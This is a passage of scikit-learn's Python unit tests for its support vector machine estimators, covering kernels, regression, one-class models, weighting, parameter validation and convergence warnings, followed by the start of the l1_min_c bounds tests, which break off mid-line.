    clf = svm.SVC().fit(X, Y)
    clf.predict(X[0])

    clf = svm.LinearSVC(random_state=0).fit(X, Y)
    clf.predict(X[0])


def test_precomputed():
    # SVC with a precomputed kernel.
    # We test it with a toy dataset and with iris.
    clf = svm.SVC(kernel='precomputed')
    # Gram matrix for train data (square matrix)
    # (we use just a linear kernel)
    K = np.dot(X, np.array(X).T)
    clf.fit(K, Y)
    # Gram matrix for test data (rectangular matrix)
    KT = np.dot(T, np.array(X).T)
    pred = clf.predict(KT)
    assert_raises(ValueError, clf.predict, KT.T)

    assert_array_equal(clf.dual_coef_, [[-0.25, .25]])
    assert_array_equal(clf.support_, [1, 3])
    assert_array_equal(clf.intercept_, [0])
    assert_array_almost_equal(clf.support_, [1, 3])
    assert_array_equal(pred, true_result)

    # Gram matrix for test data but compute KT[i,j]
    # for support vectors j only.
    KT = np.zeros_like(KT)
    for i in range(len(T)):
        for j in clf.support_:
            KT[i, j] = np.dot(T[i], X[j])

    pred = clf.predict(KT)
    assert_array_equal(pred, true_result)

    # same as before, but using a callable function instead of the kernel
    # matrix. kernel is just a linear kernel

    kfunc = lambda x, y: np.dot(x, y.T)
    clf = svm.SVC(kernel=kfunc)
    clf.fit(X, Y)
    pred = clf.predict(T)

    assert_array_equal(clf.dual_coef_, [[-0.25, .25]])
    assert_array_equal(clf.intercept_, [0])
    assert_array_almost_equal(clf.support_, [1, 3])
    assert_array_equal(pred, true_result)

    # test a precomputed kernel with the iris dataset
    # and check parameters against a linear SVC
    clf = svm.SVC(kernel='precomputed')
    clf2 = svm.SVC(kernel='linear')
    K = np.dot(iris.data, iris.data.T)
    clf.fit(K, iris.target)
    clf2.fit(iris.data, iris.target)
    pred = clf.predict(K)
    assert_array_almost_equal(clf.support_, clf2.support_)
    assert_array_almost_equal(clf.dual_coef_, clf2.dual_coef_)
    assert_array_almost_equal(clf.intercept_, clf2.intercept_)
    assert_almost_equal(np.mean(pred == iris.target), .99, decimal=2)

    # Gram matrix for test data but compute KT[i,j]
    # for support vectors j only.
    K = np.zeros_like(K)
    for i in range(len(iris.data)):
        for j in clf.support_:
            K[i, j] = np.dot(iris.data[i], iris.data[j])

    pred = clf.predict(K)
    assert_almost_equal(np.mean(pred == iris.target), .99, decimal=2)

    clf = svm.SVC(kernel=kfunc)
    clf.fit(iris.data, iris.target)
    assert_almost_equal(np.mean(pred == iris.target), .99, decimal=2)


def test_svr():
    # Test Support Vector Regression

    diabetes = datasets.load_diabetes()
    for clf in (svm.NuSVR(kernel='linear', nu=.4, C=1.0),
                svm.NuSVR(kernel='linear', nu=.4, C=10.),
                svm.SVR(kernel='linear', C=10.),
                svm.LinearSVR(C=10.),
                svm.LinearSVR(C=10.),
                ):
        clf.fit(diabetes.data, diabetes.target)
        assert_greater(clf.score(diabetes.data, diabetes.target), 0.02)

    # non-regression test; previously, BaseLibSVM would check that
    # len(np.unique(y)) < 2, which must only be done for SVC
    svm.SVR().fit(diabetes.data, np.ones(len(diabetes.data)))
    svm.LinearSVR().fit(diabetes.data, np.ones(len(diabetes.data)))


def test_linearsvr():
    # check that SVR(kernel='linear') and LinearSVC() give
    # comparable results
    diabetes = datasets.load_diabetes()
    lsvr = svm.LinearSVR(C=1e3).fit(diabetes.data, diabetes.target)
    score1 = lsvr.score(diabetes.data, diabetes.target)

    svr = svm.SVR(kernel='linear', C=1e3).fit(diabetes.data, diabetes.target)
    score2 = svr.score(diabetes.data, diabetes.target)

    assert_allclose(np.linalg.norm(lsvr.coef_),
                    np.linalg.norm(svr.coef_), 1, 0.0001)
    assert_almost_equal(score1, score2, 2)


def test_linearsvr_fit_sampleweight():
    # check correct result when sample_weight is 1
    # check that SVR(kernel='linear') and LinearSVC() give
    # comparable results
    diabetes = datasets.load_diabetes()
    n_samples = len(diabetes.target)
    unit_weight = np.ones(n_samples)
    lsvr = svm.LinearSVR(C=1e3).fit(diabetes.data, diabetes.target,
                                    sample_weight=unit_weight)
    score1 = lsvr.score(diabetes.data, diabetes.target)

    lsvr_no_weight = svm.LinearSVR(C=1e3).fit(diabetes.data, diabetes.target)
    score2 = lsvr_no_weight.score(diabetes.data, diabetes.target)

    assert_allclose(np.linalg.norm(lsvr.coef_),
                    np.linalg.norm(lsvr_no_weight.coef_), 1, 0.0001)
    assert_almost_equal(score1, score2, 2)

    # check that fit(X)  = fit([X1, X2, X3],sample_weight = [n1, n2, n3]) where
    # X = X1 repeated n1 times, X2 repeated n2 times and so forth
    random_state = check_random_state(0)
    random_weight = random_state.randint(0, 10, n_samples)
    lsvr_unflat = svm.LinearSVR(C=1e3).fit(diabetes.data, diabetes.target,
                                           sample_weight=random_weight)
    score3 = lsvr_unflat.score(diabetes.data, diabetes.target,
                               sample_weight=random_weight)

    X_flat = np.repeat(diabetes.data, random_weight, axis=0)
    y_flat = np.repeat(diabetes.target, random_weight, axis=0)
    lsvr_flat = svm.LinearSVR(C=1e3).fit(X_flat, y_flat)
    score4 = lsvr_flat.score(X_flat, y_flat)

    assert_almost_equal(score3, score4, 2)


def test_svr_errors():
    X = [[0.0], [1.0]]
    y = [0.0, 0.5]

    # Bad kernel
    clf = svm.SVR(kernel=lambda x, y: np.array([[1.0]]))
    clf.fit(X, y)
    assert_raises(ValueError, clf.predict, X)


def test_oneclass():
    # Test OneClassSVM
    clf = svm.OneClassSVM()
    clf.fit(X)
    pred = clf.predict(T)

    assert_array_almost_equal(pred, [-1, -1, -1])
    assert_array_almost_equal(clf.intercept_, [-1.008], decimal=3)
    assert_array_almost_equal(clf.dual_coef_,
                              [[0.632, 0.233, 0.633, 0.234, 0.632, 0.633]],
                              decimal=3)
    assert_raises(ValueError, lambda: clf.coef_)


def test_oneclass_decision_function():
    # Test OneClassSVM decision function
    clf = svm.OneClassSVM()
    rnd = check_random_state(2)

    # Generate train data
    X = 0.3 * rnd.randn(100, 2)
    X_train = np.r_[X + 2, X - 2]

    # Generate some regular novel observations
    X = 0.3 * rnd.randn(20, 2)
    X_test = np.r_[X + 2, X - 2]
    # Generate some abnormal novel observations
    X_outliers = rnd.uniform(low=-4, high=4, size=(20, 2))

    # fit the model
    clf = svm.OneClassSVM(nu=0.1, kernel="rbf", gamma=0.1)
    clf.fit(X_train)

    # predict things
    y_pred_test = clf.predict(X_test)
    assert_greater(np.mean(y_pred_test == 1), .9)
    y_pred_outliers = clf.predict(X_outliers)
    assert_greater(np.mean(y_pred_outliers == -1), .9)
    dec_func_test = clf.decision_function(X_test)
    assert_array_equal((dec_func_test > 0).ravel(), y_pred_test == 1)
    dec_func_outliers = clf.decision_function(X_outliers)
    assert_array_equal((dec_func_outliers > 0).ravel(), y_pred_outliers == 1)


def test_tweak_params():
    # Make sure some tweaking of parameters works.
    # We change clf.dual_coef_ at run time and expect .predict() to change
    # accordingly. Notice that this is not trivial since it involves a lot
    # of C/Python copying in the libsvm bindings.
    # The success of this test ensures that the mapping between libsvm and
    # the python classifier is complete.
    clf = svm.SVC(kernel='linear', C=1.0)
    clf.fit(X, Y)
    assert_array_equal(clf.dual_coef_, [[-.25, .25]])
    assert_array_equal(clf.predict([[-.1, -.1]]), [1])
    clf._dual_coef_ = np.array([[.0, 1.]])
    assert_array_equal(clf.predict([[-.1, -.1]]), [2])


def test_probability():
    # Predict probabilities using SVC
    # This uses cross validation, so we use a slightly bigger testing set.

    for clf in (svm.SVC(probability=True, random_state=0, C=1.0),
                svm.NuSVC(probability=True, random_state=0)):
        clf.fit(iris.data, iris.target)

        prob_predict = clf.predict_proba(iris.data)
        assert_array_almost_equal(
            np.sum(prob_predict, 1), np.ones(iris.data.shape[0]))
        assert_true(np.mean(np.argmax(prob_predict, 1)
                            == clf.predict(iris.data)) > 0.9)

        assert_almost_equal(clf.predict_proba(iris.data),
                            np.exp(clf.predict_log_proba(iris.data)), 8)


def test_decision_function():
    # Test decision_function
    # Sanity check, test that decision_function implemented in python
    # returns the same as the one in libsvm
    # multi class:
    clf = svm.SVC(kernel='linear', C=0.1,
                  decision_function_shape='ovo').fit(iris.data, iris.target)

    dec = np.dot(iris.data, clf.coef_.T) + clf.intercept_

    assert_array_almost_equal(dec, clf.decision_function(iris.data))

    # binary:
    clf.fit(X, Y)
    dec = np.dot(X, clf.coef_.T) + clf.intercept_
    prediction = clf.predict(X)
    assert_array_almost_equal(dec.ravel(), clf.decision_function(X))
    assert_array_almost_equal(
        prediction,
        clf.classes_[(clf.decision_function(X) > 0).astype(np.int)])
    expected = np.array([-1., -0.66, -1., 0.66, 1., 1.])
    assert_array_almost_equal(clf.decision_function(X), expected, 2)

    # kernel binary:
    clf = svm.SVC(kernel='rbf', gamma=1, decision_function_shape='ovo')
    clf.fit(X, Y)

    rbfs = rbf_kernel(X, clf.support_vectors_, gamma=clf.gamma)
    dec = np.dot(rbfs, clf.dual_coef_.T) + clf.intercept_
    assert_array_almost_equal(dec.ravel(), clf.decision_function(X))


def test_decision_function_shape():
    # check that decision_function_shape='ovr' gives
    # correct shape and is consistent with predict

    clf = svm.SVC(kernel='linear', C=0.1,
                  decision_function_shape='ovr').fit(iris.data, iris.target)
    dec = clf.decision_function(iris.data)
    assert_equal(dec.shape, (len(iris.data), 3))
    assert_array_equal(clf.predict(iris.data), np.argmax(dec, axis=1))

    # with five classes:
    X, y = make_blobs(n_samples=80, centers=5, random_state=0)
    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)

    clf = svm.SVC(kernel='linear', C=0.1,
                  decision_function_shape='ovr').fit(X_train, y_train)
    dec = clf.decision_function(X_test)
    assert_equal(dec.shape, (len(X_test), 5))
    assert_array_equal(clf.predict(X_test), np.argmax(dec, axis=1))

    # check shape of ovo_decition_function=True
    clf = svm.SVC(kernel='linear', C=0.1,
                  decision_function_shape='ovo').fit(X_train, y_train)
    dec = clf.decision_function(X_train)
    assert_equal(dec.shape, (len(X_train), 10))

    # check deprecation warning
    clf = svm.SVC(kernel='linear', C=0.1).fit(X_train, y_train)
    msg = "change the shape of the decision function"
    dec = assert_warns_message(ChangedBehaviorWarning, msg,
                               clf.decision_function, X_train)
    assert_equal(dec.shape, (len(X_train), 10))


def test_svr_predict():
    # Test SVR's decision_function
    # Sanity check, test that predict implemented in python
    # returns the same as the one in libsvm

    X = iris.data
    y = iris.target

    # linear kernel
    reg = svm.SVR(kernel='linear', C=0.1).fit(X, y)

    dec = np.dot(X, reg.coef_.T) + reg.intercept_
    assert_array_almost_equal(dec.ravel(), reg.predict(X).ravel())

    # rbf kernel
    reg = svm.SVR(kernel='rbf', gamma=1).fit(X, y)

    rbfs = rbf_kernel(X, reg.support_vectors_, gamma=reg.gamma)
    dec = np.dot(rbfs, reg.dual_coef_.T) + reg.intercept_
    assert_array_almost_equal(dec.ravel(), reg.predict(X).ravel())


def test_weight():
    # Test class weights
    clf = svm.SVC(class_weight={1: 0.1})
    # we give a small weights to class 1
    clf.fit(X, Y)
    # so all predicted values belong to class 2
    assert_array_almost_equal(clf.predict(X), [2] * 6)

    X_, y_ = make_classification(n_samples=200, n_features=10,
                                 weights=[0.833, 0.167], random_state=2)

    for clf in (linear_model.LogisticRegression(),
                svm.LinearSVC(random_state=0), svm.SVC()):
        clf.set_params(class_weight={0: .1, 1: 10})
        clf.fit(X_[:100], y_[:100])
        y_pred = clf.predict(X_[100:])
        assert_true(f1_score(y_[100:], y_pred) > .3)


def test_sample_weights():
    # Test weights on individual samples
    # TODO: check on NuSVR, OneClass, etc.
    clf = svm.SVC()
    clf.fit(X, Y)
    assert_array_equal(clf.predict([X[2]]), [1.])

    sample_weight = [.1] * 3 + [10] * 3
    clf.fit(X, Y, sample_weight=sample_weight)
    assert_array_equal(clf.predict([X[2]]), [2.])

    # test that rescaling all samples is the same as changing C
    clf = svm.SVC()
    clf.fit(X, Y)
    dual_coef_no_weight = clf.dual_coef_
    clf.set_params(C=100)
    clf.fit(X, Y, sample_weight=np.repeat(0.01, len(X)))
    assert_array_almost_equal(dual_coef_no_weight, clf.dual_coef_)


def test_auto_weight():
    # Test class weights for imbalanced data
    from sklearn.linear_model import LogisticRegression
    # We take as dataset the two-dimensional projection of iris so
    # that it is not separable and remove half of predictors from
    # class 1.
    # We add one to the targets as a non-regression test: class_weight="balanced"
    # used to work only when the labels where a range [0..K).
    from sklearn.utils import compute_class_weight
    X, y = iris.data[:, :2], iris.target + 1
    unbalanced = np.delete(np.arange(y.size), np.where(y > 2)[0][::2])

    classes = np.unique(y[unbalanced])
    class_weights = compute_class_weight('balanced', classes, y[unbalanced])
    assert_true(np.argmax(class_weights) == 2)

    for clf in (svm.SVC(kernel='linear'), svm.LinearSVC(random_state=0),
                LogisticRegression()):
        # check that score is better when class='balanced' is set.
        y_pred = clf.fit(X[unbalanced], y[unbalanced]).predict(X)
        clf.set_params(class_weight='balanced')
        y_pred_balanced = clf.fit(X[unbalanced], y[unbalanced],).predict(X)
        assert_true(metrics.f1_score(y, y_pred, average='macro')
                    <= metrics.f1_score(y, y_pred_balanced,
                                        average='macro'))


def test_bad_input():
    # Test that it gives proper exception on deficient input
    # impossible value of C
    assert_raises(ValueError, svm.SVC(C=-1).fit, X, Y)

    # impossible value of nu
    clf = svm.NuSVC(nu=0.0)
    assert_raises(ValueError, clf.fit, X, Y)

    Y2 = Y[:-1]  # wrong dimensions for labels
    assert_raises(ValueError, clf.fit, X, Y2)

    # Test with arrays that are non-contiguous.
    for clf in (svm.SVC(), svm.LinearSVC(random_state=0)):
        Xf = np.asfortranarray(X)
        assert_false(Xf.flags['C_CONTIGUOUS'])
        yf = np.ascontiguousarray(np.tile(Y, (2, 1)).T)
        yf = yf[:, -1]
        assert_false(yf.flags['F_CONTIGUOUS'])
        assert_false(yf.flags['C_CONTIGUOUS'])
        clf.fit(Xf, yf)
        assert_array_equal(clf.predict(T), true_result)

    # error for precomputed kernelsx
    clf = svm.SVC(kernel='precomputed')
    assert_raises(ValueError, clf.fit, X, Y)

    # sample_weight bad dimensions
    clf = svm.SVC()
    assert_raises(ValueError, clf.fit, X, Y, sample_weight=range(len(X) - 1))

    # predict with sparse input when trained with dense
    clf = svm.SVC().fit(X, Y)
    assert_raises(ValueError, clf.predict, sparse.lil_matrix(X))

    Xt = np.array(X).T
    clf.fit(np.dot(X, Xt), Y)
    assert_raises(ValueError, clf.predict, X)

    clf = svm.SVC()
    clf.fit(X, Y)
    assert_raises(ValueError, clf.predict, Xt)


def test_unicode_kernel():
    # Test that a unicode kernel name does not cause a TypeError on clf.fit
    if six.PY2:
        # Test unicode (same as str on python3)
        clf = svm.SVC(kernel=unicode('linear'))
        clf.fit(X, Y)

        # Test ascii bytes (str is bytes in python2)
        clf = svm.SVC(kernel=str('linear'))
        clf.fit(X, Y)
    else:
        # Test unicode (str is unicode in python3)
        clf = svm.SVC(kernel=str('linear'))
        clf.fit(X, Y)

        # Test ascii bytes (same as str on python2)
        clf = svm.SVC(kernel=bytes('linear', 'ascii'))
        clf.fit(X, Y)

    # Test default behavior on both versions
    clf = svm.SVC(kernel='linear')
    clf.fit(X, Y)


def test_sparse_precomputed():
    clf = svm.SVC(kernel='precomputed')
    sparse_gram = sparse.csr_matrix([[1, 0], [0, 1]])
    try:
        clf.fit(sparse_gram, [0, 1])
        assert not "reached"
    except TypeError as e:
        assert_in("Sparse precomputed", str(e))


def test_linearsvc_parameters():
    # Test possible parameter combinations in LinearSVC
    # Generate list of possible parameter combinations
    losses = ['hinge', 'squared_hinge', 'logistic_regression', 'foo']
    penalties, duals = ['l1', 'l2', 'bar'], [True, False]

    X, y = make_classification(n_samples=5, n_features=5)

    for loss, penalty, dual in itertools.product(losses, penalties, duals):
        clf = svm.LinearSVC(penalty=penalty, loss=loss, dual=dual)
        if ((loss, penalty) == ('hinge', 'l1') or
                    (loss, penalty, dual) == ('hinge', 'l2', False) or
                    (penalty, dual) == ('l1', True) or
                    loss == 'foo' or penalty == 'bar'):

            assert_raises_regexp(ValueError,
                                 "Unsupported set of arguments.*penalty='%s.*"
                                 "loss='%s.*dual=%s"
                                 % (penalty, loss, dual),
                                 clf.fit, X, y)
        else:
            clf.fit(X, y)

    # Incorrect loss value - test if explicit error message is raised
    assert_raises_regexp(ValueError, ".*loss='l3' is not supported.*",
                         svm.LinearSVC(loss="l3").fit, X, y)


# FIXME remove in 1.0
def test_linearsvx_loss_penalty_deprecations():
    X, y = [[0.0], [1.0]], [0, 1]

    msg = ("loss='%s' has been deprecated in favor of "
           "loss='%s' as of 0.16. Backward compatibility"
           " for the %s will be removed in %s")

    # LinearSVC
    # loss l1 --> hinge
    assert_warns_message(DeprecationWarning,
                         msg % ("l1", "hinge", "loss='l1'", "1.0"),
                         svm.LinearSVC(loss="l1").fit, X, y)

    # loss l2 --> squared_hinge
    assert_warns_message(DeprecationWarning,
                         msg % ("l2", "squared_hinge", "loss='l2'", "1.0"),
                         svm.LinearSVC(loss="l2").fit, X, y)

    # LinearSVR
    # loss l1 --> epsilon_insensitive
    assert_warns_message(DeprecationWarning,
                         msg % ("l1", "epsilon_insensitive", "loss='l1'",
                                "1.0"),
                         svm.LinearSVR(loss="l1").fit, X, y)

    # loss l2 --> squared_epsilon_insensitive
    assert_warns_message(DeprecationWarning,
                         msg % ("l2", "squared_epsilon_insensitive",
                                "loss='l2'", "1.0"),
                         svm.LinearSVR(loss="l2").fit, X, y)


def test_linear_svx_uppercase_loss_penality_raises_error():
    # Check if Upper case notation raises error at _fit_liblinear
    # which is called by fit

    X, y = [[0.0], [1.0]], [0, 1]

    assert_raise_message(ValueError, "loss='SQuared_hinge' is not supported",
                         svm.LinearSVC(loss="SQuared_hinge").fit, X, y)

    assert_raise_message(ValueError, ("The combination of penalty='L2'"
                                      " and loss='squared_hinge' is not supported"),
                         svm.LinearSVC(penalty="L2").fit, X, y)


def test_linearsvc():
    # Test basic routines using LinearSVC
    clf = svm.LinearSVC(random_state=0).fit(X, Y)

    # by default should have intercept
    assert_true(clf.fit_intercept)

    assert_array_equal(clf.predict(T), true_result)
    assert_array_almost_equal(clf.intercept_, [0], decimal=3)

    # the same with l1 penalty
    clf = svm.LinearSVC(penalty='l1', loss='squared_hinge', dual=False, random_state=0).fit(X, Y)
    assert_array_equal(clf.predict(T), true_result)

    # l2 penalty with dual formulation
    clf = svm.LinearSVC(penalty='l2', dual=True, random_state=0).fit(X, Y)
    assert_array_equal(clf.predict(T), true_result)

    # l2 penalty, l1 loss
    clf = svm.LinearSVC(penalty='l2', loss='hinge', dual=True, random_state=0)
    clf.fit(X, Y)
    assert_array_equal(clf.predict(T), true_result)

    # test also decision function
    dec = clf.decision_function(T)
    res = (dec > 0).astype(np.int) + 1
    assert_array_equal(res, true_result)


def test_linearsvc_crammer_singer():
    # Test LinearSVC with crammer_singer multi-class svm
    ovr_clf = svm.LinearSVC(random_state=0).fit(iris.data, iris.target)
    cs_clf = svm.LinearSVC(multi_class='crammer_singer', random_state=0)
    cs_clf.fit(iris.data, iris.target)

    # similar prediction for ovr and crammer-singer:
    assert_true((ovr_clf.predict(iris.data) ==
                 cs_clf.predict(iris.data)).mean() > .9)

    # classifiers shouldn't be the same
    assert_true((ovr_clf.coef_ != cs_clf.coef_).all())

    # test decision function
    assert_array_equal(cs_clf.predict(iris.data),
                       np.argmax(cs_clf.decision_function(iris.data), axis=1))
    dec_func = np.dot(iris.data, cs_clf.coef_.T) + cs_clf.intercept_
    assert_array_almost_equal(dec_func, cs_clf.decision_function(iris.data))


def test_linearsvc_fit_sampleweight():
    # check correct result when sample_weight is 1
    n_samples = len(X)
    unit_weight = np.ones(n_samples)
    clf = svm.LinearSVC(random_state=0).fit(X, Y)
    clf_unitweight = svm.LinearSVC(random_state=0).\
        fit(X, Y, sample_weight=unit_weight)

    # check if same as sample_weight=None
    assert_array_equal(clf_unitweight.predict(T), clf.predict(T))
    assert_allclose(clf.coef_, clf_unitweight.coef_, 1, 0.0001)

    # check that fit(X)  = fit([X1, X2, X3],sample_weight = [n1, n2, n3]) where
    # X = X1 repeated n1 times, X2 repeated n2 times and so forth

    random_state = check_random_state(0)
    random_weight = random_state.randint(0, 10, n_samples)
    lsvc_unflat = svm.LinearSVC(random_state=0).\
        fit(X, Y, sample_weight=random_weight)
    pred1 = lsvc_unflat.predict(T)

    X_flat = np.repeat(X, random_weight, axis=0)
    y_flat = np.repeat(Y, random_weight, axis=0)
    lsvc_flat = svm.LinearSVC(random_state=0).fit(X_flat, y_flat)
    pred2 = lsvc_flat.predict(T)

    assert_array_equal(pred1, pred2)
    assert_allclose(lsvc_unflat.coef_, lsvc_flat.coef_, 1, 0.0001)


def test_crammer_singer_binary():
    # Test Crammer-Singer formulation in the binary case
    X, y = make_classification(n_classes=2, random_state=0)

    for fit_intercept in (True, False):
        acc = svm.LinearSVC(fit_intercept=fit_intercept,
                            multi_class="crammer_singer",
                            random_state=0).fit(X, y).score(X, y)
        assert_greater(acc, 0.9)


def test_linearsvc_iris():
    # Test that LinearSVC gives plausible predictions on the iris dataset
    # Also, test symbolic class names (classes_).
    target = iris.target_names[iris.target]
    clf = svm.LinearSVC(random_state=0).fit(iris.data, target)
    assert_equal(set(clf.classes_), set(iris.target_names))
    assert_greater(np.mean(clf.predict(iris.data) == target), 0.8)

    dec = clf.decision_function(iris.data)
    pred = iris.target_names[np.argmax(dec, 1)]
    assert_array_equal(pred, clf.predict(iris.data))


def test_dense_liblinear_intercept_handling(classifier=svm.LinearSVC):
    # Test that dense liblinear honours intercept_scaling param
    X = [[2, 1],
         [3, 1],
         [1, 3],
         [2, 3]]
    y = [0, 0, 1, 1]
    clf = classifier(fit_intercept=True, penalty='l1', loss='squared_hinge',
                     dual=False, C=4, tol=1e-7, random_state=0)
    assert_true(clf.intercept_scaling == 1, clf.intercept_scaling)
    assert_true(clf.fit_intercept)

    # when intercept_scaling is low the intercept value is highly "penalized"
    # by regularization
    clf.intercept_scaling = 1
    clf.fit(X, y)
    assert_almost_equal(clf.intercept_, 0, decimal=5)

    # when intercept_scaling is sufficiently high, the intercept value
    # is not affected by regularization
    clf.intercept_scaling = 100
    clf.fit(X, y)
    intercept1 = clf.intercept_
    assert_less(intercept1, -1)

    # when intercept_scaling is sufficiently high, the intercept value
    # doesn't depend on intercept_scaling value
    clf.intercept_scaling = 1000
    clf.fit(X, y)
    intercept2 = clf.intercept_
    assert_array_almost_equal(intercept1, intercept2, decimal=2)


def test_liblinear_set_coef():
    # multi-class case
    clf = svm.LinearSVC().fit(iris.data, iris.target)
    values = clf.decision_function(iris.data)
    clf.coef_ = clf.coef_.copy()
    clf.intercept_ = clf.intercept_.copy()
    values2 = clf.decision_function(iris.data)
    assert_array_almost_equal(values, values2)

    # binary-class case
    X = [[2, 1],
         [3, 1],
         [1, 3],
         [2, 3]]
    y = [0, 0, 1, 1]

    clf = svm.LinearSVC().fit(X, y)
    values = clf.decision_function(X)
    clf.coef_ = clf.coef_.copy()
    clf.intercept_ = clf.intercept_.copy()
    values2 = clf.decision_function(X)
    assert_array_equal(values, values2)


def test_immutable_coef_property():
    # Check that primal coef modification are not silently ignored
    svms = [
        svm.SVC(kernel='linear').fit(iris.data, iris.target),
        svm.NuSVC(kernel='linear').fit(iris.data, iris.target),
        svm.SVR(kernel='linear').fit(iris.data, iris.target),
        svm.NuSVR(kernel='linear').fit(iris.data, iris.target),
        svm.OneClassSVM(kernel='linear').fit(iris.data),
    ]
    for clf in svms:
        assert_raises(AttributeError, clf.__setattr__, 'coef_', np.arange(3))
        assert_raises((RuntimeError, ValueError),
                      clf.coef_.__setitem__, (0, 0), 0)


def test_linearsvc_verbose():
    # stdout: redirect
    import os
    stdout = os.dup(1)  # save original stdout
    os.dup2(os.pipe()[1], 1)  # replace it

    # actual call
    clf = svm.LinearSVC(verbose=1)
    clf.fit(X, Y)

    # stdout: restore
    os.dup2(stdout, 1)  # restore original stdout


def test_svc_clone_with_callable_kernel():
    # create SVM with callable linear kernel, check that results are the same
    # as with built-in linear kernel
    svm_callable = svm.SVC(kernel=lambda x, y: np.dot(x, y.T),
                           probability=True, random_state=0,
                           decision_function_shape='ovr')
    # clone for checking clonability with lambda functions..
    svm_cloned = base.clone(svm_callable)
    svm_cloned.fit(iris.data, iris.target)

    svm_builtin = svm.SVC(kernel='linear', probability=True, random_state=0,
                          decision_function_shape='ovr')
    svm_builtin.fit(iris.data, iris.target)

    assert_array_almost_equal(svm_cloned.dual_coef_,
                              svm_builtin.dual_coef_)
    assert_array_almost_equal(svm_cloned.intercept_,
                              svm_builtin.intercept_)
    assert_array_equal(svm_cloned.predict(iris.data),
                       svm_builtin.predict(iris.data))

    assert_array_almost_equal(svm_cloned.predict_proba(iris.data),
                              svm_builtin.predict_proba(iris.data),
                              decimal=4)
    assert_array_almost_equal(svm_cloned.decision_function(iris.data),
                              svm_builtin.decision_function(iris.data))


def test_svc_bad_kernel():
    svc = svm.SVC(kernel=lambda x, y: x)
    assert_raises(ValueError, svc.fit, X, Y)


def test_timeout():
    a = svm.SVC(kernel=lambda x, y: np.dot(x, y.T), probability=True,
                random_state=0, max_iter=1)
    assert_warns(ConvergenceWarning, a.fit, X, Y)


def test_unfitted():
    X = "foo!"  # input validation not required when SVM not fitted

    clf = svm.SVC()
    assert_raises_regexp(Exception, r".*\bSVC\b.*\bnot\b.*\bfitted\b",
                         clf.predict, X)

    clf = svm.NuSVR()
    assert_raises_regexp(Exception, r".*\bNuSVR\b.*\bnot\b.*\bfitted\b",
                         clf.predict, X)


# ignore convergence warnings from max_iter=1
@ignore_warnings
def test_consistent_proba():
    a = svm.SVC(probability=True, max_iter=1, random_state=0)
    proba_1 = a.fit(X, Y).predict_proba(X)
    a = svm.SVC(probability=True, max_iter=1, random_state=0)
    proba_2 = a.fit(X, Y).predict_proba(X)
    assert_array_almost_equal(proba_1, proba_2)


def test_linear_svc_convergence_warnings():
    # Test that warnings are raised if model does not converge

    lsvc = svm.LinearSVC(max_iter=2, verbose=1)
    assert_warns(ConvergenceWarning, lsvc.fit, X, Y)
    assert_equal(lsvc.n_iter_, 2)


def test_svr_coef_sign():
    # Test that SVR(kernel="linear") has coef_ with the right sign.
    # Non-regression test for #2933.
    X = np.random.RandomState(21).randn(10, 3)
    y = np.random.RandomState(12).randn(10)

    for svr in [svm.SVR(kernel='linear'), svm.NuSVR(kernel='linear'),
                svm.LinearSVR()]:
        svr.fit(X, y)
        assert_array_almost_equal(svr.predict(X),
                                  np.dot(X, svr.coef_.ravel()) + svr.intercept_)


def test_linear_svc_intercept_scaling():
    # Test that the right error message is thrown when intercept_scaling <= 0

    for i in [-1, 0]:
        lsvc = svm.LinearSVC(intercept_scaling=i)
        msg = ('Intercept scaling is %r but needs to be greater than 0.'
               ' To disable fitting an intercept,'
               ' set fit_intercept=False.' % lsvc.intercept_scaling)
        assert_raise_message(ValueError, msg, lsvc.fit, X, Y)


def test_lsvc_intercept_scaling_zero():
    # Test that intercept_scaling is ignored when fit_intercept is False

    lsvc = svm.LinearSVC(fit_intercept=False)
    lsvc.fit(X, Y)
    assert_equal(lsvc.intercept_, 0.)


def test_hasattr_predict_proba():
    # Method must be (un)available before or after fit, switched by
    # `probability` param

    G = svm.SVC(probability=True)
    assert_true(hasattr(G, 'predict_proba'))
    G.fit(iris.data, iris.target)
    assert_true(hasattr(G, 'predict_proba'))

    G = svm.SVC(probability=False)
    assert_false(hasattr(G, 'predict_proba'))
    G.fit(iris.data, iris.target)
    assert_false(hasattr(G, 'predict_proba'))

    # Switching to `probability=True` after fitting should make
    # predict_proba available, but calling it must not work:
    G.probability = True
    assert_true(hasattr(G, 'predict_proba'))
    msg = "predict_proba is not available when fitted with probability=False"
    assert_raise_message(NotFittedError, msg, G.predict_proba, iris.data)


def test_decision_function_shape_two_class():
    for n_classes in [2, 3]:
        X, y = make_blobs(centers=n_classes, random_state=0)
        for estimator in [svm.SVC, svm.NuSVC]:
            clf = OneVsRestClassifier(estimator(
                decision_function_shape="ovr")).fit(X, y)
            assert_equal(len(clf.predict(X)), len(y))






import nose
from nose.tools import assert_equal, assert_true
from sklearn.utils.testing import clean_warning_registry
from sklearn.utils.testing import assert_raise_message
import warnings

import numpy as np
from scipy import sparse as sp

from sklearn.svm.bounds import l1_min_c
from sklearn.svm import LinearSVC
from sklearn.linear_model.logistic import LogisticRegression


dense_X = [[-1, 0], [0, 1], [1, 1], [1, 1]]
sparse_X = sp.csr_matrix(dense_X)

Y1 = [0, 1, 1, 1]
Y2 = [2, 1, 0, 0]


def test_l1_min_c():
    losses = ['squared_hinge', 'log']
    Xs = {'sparse': sparse_X, 'dense': dense_X}
    Ys = {'two-classes': Y1, 'multi-class': Y2}
    intercepts = {'no-intercept': {'fit_intercept': False},
                  'fit-intercept': {'fit_intercept': True,
                                    'intercept_scaling': 10}}

    for loss in losses:
        for X_label, X in Xs.items():
            for Y_label, Y in Ys.items():
                for intercept_label, intercept_params in intercepts.items():
                    check = lambda: check_l1_min_c(X, Y, loss,
                                                   **intercept_params)
                    check.description = ('Test l1_min_c loss=%r %s %s %s' %
                                         (loss, X_label, Y_label,
                                          intercept_label))
                    yield check

    # loss='l2' should raise ValueError
    assert_raise_message(ValueError, "loss type not in",
                         l1_min_c, dense_X, Y1, "l2")


def check_l1_min_c(X, y, loss, fit_intercept=True, intercept_scaling=None):
    min_c = l1_min_c(X, y, loss, fit_intercept, intercept_scaling)

    clf = {
        'log': LogisticRegression(penalty='l1'),
        'squared_hinge': LinearSVC(loss='squared_hinge',
                                   penalty='l1', dual=False),
    }[loss]

    clf.fit_intercept = fit_intercept
    clf.intercept_scaling = intercept_scaling

    clf.C = min_c
    clf.fit(X, y)
    assert_true((np.asarray(clf.coef_) == 0).all())
    assert_true((np.asarray(clf.intercept_) == 0).all())

    clf.C = min_c * 1.01
    clf.fit(X, y)
    assert_true((np.asarray(clf.coef_) != 0).any() or
